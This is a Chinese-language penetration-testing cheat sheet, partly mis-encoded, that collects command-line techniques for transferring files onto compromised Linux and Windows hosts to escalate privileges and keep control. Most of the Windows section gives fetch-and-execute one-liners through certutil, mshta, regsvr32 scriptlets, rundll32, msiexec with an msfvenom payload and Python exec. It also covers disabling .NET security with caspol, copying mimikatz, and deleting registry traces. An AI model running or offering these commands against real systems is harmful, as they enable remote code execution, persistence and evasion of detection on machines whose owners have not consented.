命令行/終端下載指令大全(win + linux)
# 1. 簡(jiǎn)介
在我們滲透測(cè)試的過(guò)程中,通常會(huì)需要向目標(biāo)主機(jī)傳送一些文件,來(lái)達(dá)到提權(quán),維持控制等目的。因此當(dāng)不方便進(jìn)行直接傳輸時(shí),同時(shí)目標(biāo)主機(jī)是能有網(wǎng)絡(luò)連接的,那么此時(shí)就可以通過(guò)本地下載這種方法來(lái)達(dá)到文件傳輸?shù)哪康摹4似恼拢視?huì)對(duì)互聯(lián)網(wǎng)上針對(duì)win與linux大部分的下載指令來(lái)做一個(gè)匯總,可能會(huì)有疏漏,但匯總的都是經(jīng)常會(huì)用的。
# 2. Linux
?2.1 Wget
這款工具功能很豐富,可以充當(dāng)某種功能完備的GUI下載管理器,它擁有一款理想的下載管理器所需要的所有功能,比如它可以恢復(fù)下載,可以下載多個(gè)文件,出現(xiàn)某個(gè)連接問題后,可以重新嘗試下載,你甚至可以管理最大的下載帶寬。
直接下載:
wget?http://www.sample-videos.com/video/mp4/big.mp4?
后臺(tái)下載:
wget?-b?http://www.sample-videos.com/video/mp4/big.mp4?
如果互聯(lián)網(wǎng)連接出現(xiàn)中斷,恢復(fù)下載:
wget?-c?http://www.sample-videos.com/video/mp4/big.mp4?
從某個(gè)密碼保護(hù)的ftp軟件庫(kù)下載文件:
wget?--ftp-user=<user_name>?--ftp-password=<Give_password>?Download-url-address?
?2.2 Curl
Curl是另一種高效的下載工具,它可以用來(lái)上傳或下載文件,只要使用一個(gè)簡(jiǎn)單的命令。它支持暫停和恢復(fù)下載程序包,并支持?jǐn)?shù)量最多的Web協(xié)議,可預(yù)測(cè)下載完成還剩余多少時(shí)間,可通過(guò)進(jìn)度條來(lái)顯示下載進(jìn)度。它是所有Linux發(fā)行版的內(nèi)置工具。
直接下載:
curl?-o?um.mp4?http://www.sample-videos.com/video/mp4/big.mp4?
借助-o選項(xiàng),提供名稱,下載文件會(huì)以該名稱保存;如使用-O選項(xiàng),文件就會(huì)以原始名稱保存。
?2.3?Axel
這是wget的出色替代者,是一款輕量級(jí)下載實(shí)用工具。它實(shí)際上是個(gè)加速器,因?yàn)樗蜷_了多路http連接,可下載獨(dú)立文件片段,因而文件下載起來(lái)更快速。
apt-get?install?axel?
直接下載:
axel?http://www.sample-videos.com/video/mp4/big.mp4?
?2.4 Aria2
這是一種開源命令行下載加速器,支持多個(gè)端口,你可以使用最大帶寬來(lái)下載文件,是一款易于安裝、易于使用的工具。
apt-get?install?aria2?
直接下載:
aria2c?http://www.sample-videos.com/video/mp4/big.mp4?
?2.5 Perl
Perl是一門很吊的語(yǔ)言,使用它基本可以實(shí)現(xiàn)任何事情,用它實(shí)現(xiàn)文件下載也很簡(jiǎn)單。
#!perl
#!/usr/bin/perl
use?LWP::Simple;
getstore("http://domain/file",?"file");
執(zhí)行腳本文件是這樣:
perl?test.pl
?2.6 Python
Python也是很受歡迎的主流腳本語(yǔ)言,代碼清晰且簡(jiǎn)潔:
#!python
#!/usr/bin/python
import?urllib2
u?=?urllib2.urlopen('http://domain/file')
localFile?=?open('local_file',?'w')
localFile.write(u.read())
localFile.close()
?2.7 Ruby
Ruby是一個(gè)面對(duì)對(duì)象的語(yǔ)言,Metasploit框架就是用它來(lái)實(shí)現(xiàn)的,當(dāng)然他也可以實(shí)現(xiàn)像下載文件這樣的小任務(wù)。
#!ruby
#!/usr/bin/ruby
require?'net/http'
Net::HTTP.start("www.domain.com")?{?|http|
r?=?http.get("/file")
open("save_location",?"wb")?{?|file|
file.write(r.body)
}
}
執(zhí)行腳本文件是這樣;
ruby?test.rb
?2.8 PHP
PHP作為一種服務(wù)端腳本,也可以實(shí)現(xiàn)下載文件這種功能。
#!/usr/bin/php
????????$data?=?@file("http://example.com/file");
????????$lf?=?"local_file";
????????$fh?=?fopen($lf,?'w');
????????fwrite($fh,?$data[0]);
????????fclose($fh);
?>
執(zhí)行腳本文件是這樣:
php?test.php
?2.9 FTP
一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個(gè) bash 腳本,考慮到了交互的情況,可以直接執(zhí)行并不會(huì)產(chǎn)生交互動(dòng)作。
ftp?127.0.0.1
username
password
get?file
exit
當(dāng)然根據(jù)實(shí)際情況也可以進(jìn)入交互終端:
ftp?192.168.3.2
輸入用戶名和密碼后
lcd?E:\file?#?進(jìn)入E盤下的file目錄
cd?www?#?進(jìn)入服務(wù)器上的www目錄
get?access.log?#?將服務(wù)器上的access.log下載到E:\file
?2.10 Netcat
攻擊者的電腦上輸入:
cat?file?|?nc?-l?1234
這個(gè)命令會(huì)將file的內(nèi)容輸出到本地的1234端口中,然后不論誰(shuí)連接此端口,file的內(nèi)容將會(huì)發(fā)送到連接過(guò)來(lái)的IP。
目標(biāo)電腦上的命令:
nc?host_ip?1234?>?file
這條命令將連接攻擊者的電腦,接受file內(nèi)容保存。
# 3. Windows
?3.1 Powershell
PowerShell 是一種winodws原生的腳本語(yǔ)言,對(duì)于熟練使用它的人來(lái)說(shuō),可以實(shí)現(xiàn)很多復(fù)雜的功能。
下面這兩條指令實(shí)現(xiàn)了從Internet網(wǎng)絡(luò)下載一個(gè)文件。
$p?=?New-Object?System.Net.WebClient
$p.DownloadFile("http://domain/file"?"C:\%homepath%\file")
?3.2 IPC$
copy?\192.168.3.1\c$\test.exe?E:\file
cmd.exe?/k?\webdavserver\folder\batchfile.txt
?3.3 Certutil
可以應(yīng)用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
certutil?-urlcache?-split?-f?http://192.168.3.1/test.exe?file.exe
certutil?-urlcache?-split?-f?http://192.168.3.1/test.exe?delete??????#刪除緩存
certutil?-verifyctl?-split?-f?-split?http://192.168.3.1/test.exe
#此條命令,會(huì)將原文件下載成為臨時(shí)?bin?文件,把名字改回來(lái)一樣可以正常運(yùn)行
文件下載并執(zhí)行如下:
certutil?-urlcache?-split?-f?http://site.com/a?a.exe?&&?a.exe?&&??del?a.exe?&&?certutil?-urlcache?-split?-f?http://192.168.254.102:80/a?delete
?3.4 Visual Basic
在1998年Visual Basic最終標(biāo)準(zhǔn)在windows上確定。下面的代碼可以實(shí)現(xiàn)下載文件,雖然它的長(zhǎng)度比Powershell長(zhǎng)多了。
Set?args?=?Wscript.Arguments
Url?=?"http://domain/file"
dim?xHttp:?Set?xHttp?=?createobject("Microsoft.XMLHTTP")
dim?bStrm:?Set?bStrm?=?createobject("Adodb.Stream")
xHttp.Open?"GET",?Url,?False
xHttp.Send
with?bStrm
????.type?=?1?'
????.open
????.write?xHttp.responseBody
????.savetofile?"?C:\%homepath%\file",?2?'
end?with
在windows中Cscript指令可以允許你執(zhí)行VBS腳本文件或者對(duì)script腳本做一些設(shè)置。在windows 7中這個(gè)指令并不是必須要用到。但是在windows XP中需要使用這條指令,如下所示:
cscript?test.vbs
?3.5 Tftp
在Windows Vista以及以后的版本中默認(rèn)有FTP,可以使用以下命令運(yùn)行:
上傳:
tftp?-i?IP地址?PUT?C:\%homepath%\file?遠(yuǎn)程存放位置
下載:
tftp?-i?IP地址?GET?C:\%homepath%\file?本地存放位置
?3.6 Bitsadmin
Bitsadmin是Windows命令行工具,用戶可以使用它來(lái)創(chuàng)建下載或上傳的任務(wù)。只能命令下載到指定路徑上,win7以上:
bitsadmin?/transfer?myDownLoadJob?/download?/priority?normal?"http://192.168.203.140/b.ps1"?"E:\\phpstudy_pro\\WWW\\b.ps1"
bitsadmin?/rawreturn?/transfer?getfile?http://192.168.3.1/test.txt?E:\file\test.txt
bitsadmin?/rawreturn?/transfer?getpayload?http://192.168.3.1/test.txt?E:\file\test.txt
?3.7 msiexec
msiexec?/q?/i?http://192.168.3.1/calc.png
calc.png:
msfvenom?-f?msi?-p?windows/exec?CMD=calc.exe?>?cacl.png
?3.8 IEExec
C:\Windows\Microsoft.NET\Framework\v2.0.50727>?caspol?-s?off
C:\Windows\Microsoft.NET\Framework\v2.0.50727>?IEExec?http://192.168.3.1/test.exe
?3.9 Python
C:\python27\python.exe?-c?“import?urllib2;?exec?urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”
?3.10 Mshta
mshta http://192.168.3.1/run.hta
run.hta 內(nèi)容如下:
<HTML>?
<meta?http-equiv="Content-Type"?content="text/html;?charset=utf-8">
<HEAD>?
<script?language="VBScript">
Window.ReSizeTo?0,?0
Window.moveTo?-2000,-2000
Set?objShell?=?CreateObject("Wscript.Shell")
objShell.Run?"cmd.exe?/c?net?user"?//?這里填寫命令
self.close
script>
<body>
demo
body>
HEAD>?
HTML>
mshta?vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
?3.11 Rundll32
依賴于WScript.shell這個(gè)組件:
rundll32.exe?javascript:"\..\mshtml,RunHTMLApplication?";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd?/c?taskkill?/f?/im?rundll32.exe",0,true);}%
?3.12 Regsvr32
Regsvr32命令用于注冊(cè)COM組件,是 Windows 系統(tǒng)提供的用來(lái)向系統(tǒng)注冊(cè)控件或者卸載控件的命令,以命令行方式運(yùn)行。
WinXP及以上系統(tǒng)的regsvr32.exe在windows\system32文件夾下;2000系統(tǒng)的regsvr32.exe在winnt\system32文件夾下。
regsvr32?/u?/s?/i:http://192.168.3.1/test.data?scrobj.dll
test.data內(nèi)容:
<scriptlet>
<registration
????progid="ShortJSRAT"
????classid="{10001111-0000-0000-0000-0000FEEDACDC}"?>
????
????<script?language="JScript">
????????????????????ps??=?"cmd.exe?/c?calc.exe";
????????????new?ActiveXObject("WScript.Shell").Run(ps,0,true);
????????]]>
script>
registration>
scriptlet>
還可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件:
regsvr32?/u?/s?/i:http://192.168.3.1/test.sct?scrobj.dll
?3.13 Windows Share
Windows shares可以加載一個(gè)驅(qū)動(dòng)器,然后用命令來(lái)復(fù)制文件。
加載遠(yuǎn)程驅(qū)動(dòng):
net?use?x:?\\127.0.0.1\share?/user:example.com\userID?myPassword
?3.14 格式轉(zhuǎn)換
當(dāng)需要把一個(gè)exe文件放到目標(biāo)計(jì)算機(jī)上時(shí),Nishang可以使用PowerShell允許你把一個(gè)exe轉(zhuǎn)換成hex,然后把hex再轉(zhuǎn)換成原來(lái)的exe文件:
把exe轉(zhuǎn)成hex文件輸入:
PS?>?.\ExetoText.ps1?evil.exe?evil.txt
打開evil.txt文件,復(fù)制內(nèi)容,然后通過(guò)RDP的剪貼板復(fù)制進(jìn)目標(biāo)計(jì)算機(jī),把hex文件還原成exe文件輸入:
PS?>?.\TexttoExe.ps1?evil.text?evil.exe
?3.15 其它
1.MSXSL.EXE
msxsl.exe是微軟用于命令行下處理XSL的一個(gè)程序,所以通過(guò)他,我們可以執(zhí)行JavaScript進(jìn)而執(zhí)行系統(tǒng)命令。
2.pubprn.vbs
在Windows 7以上版本存在一個(gè)名為PubPrn.vbs的微軟已簽名WSH腳本,其位于
C:\Windows\System32\Printing_Admin_Scripts\en-US
3.esentutl.exe/extrac32.exe
esentutl.exe?/y?"\\172.16.249.149\share?mimikatz_trunk.zip"?/d"C:\Users\Public\mimikatz_trunk.zip"?/0
extrac32.exe?/Y?/C?\\172.16.249.149\share\test.txt?C:\Users\Public\test.txt
4.desktopimgdownldr.exe
desktopimgdownldr.exe 位于 Win10 的 system32 文件夾中,原本用于設(shè)置鎖定屏幕或桌面背景圖像的。
普通用戶可以用:
set?"SYSTEMROOT=C:\ProgramData"?&&?cmd?/c?desktopimgdownldr.exe?/lockscreenurl:http://url/xxx.exe?/eventName:desktopimgdownldr
這樣來(lái)下載文件。
可以把C:\ProgramData來(lái)改成一個(gè)普通用戶可寫的目錄。
下載的文件存放于:
C:\ProgramData\Personalization\LockScreenImage\x_%random%.exe.
管理員用戶會(huì)多寫一個(gè)注冊(cè)表項(xiàng),所以管理員最好的命令是:
set?"SYSTEMROOT=C:\ProgramData\"?&&?cmd?/c?desktopimgdownldr.exe?/lockscreenurl:https://url/file.exe?/eventName:desktopimgdownldr?&&?reg?delete?HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP?/f
# 4. 參考鏈接
https://xz.aliyun.com/t/1654
https://www.t00ls.net/articles-49501.html
https://evi1cg.me/archives/remote_exec.html
https://www.unixmen.com/top-10-command-line-tools-downloading-linux/
長(zhǎng)按或掃描下方二維碼,后臺(tái)回復(fù):加群,即可申請(qǐng)入群。一定要備注:來(lái)源+研究方向+學(xué)校/公司,否則不拉入群中,見諒!
(長(zhǎng)按三秒,進(jìn)入后臺(tái))
推薦閱讀

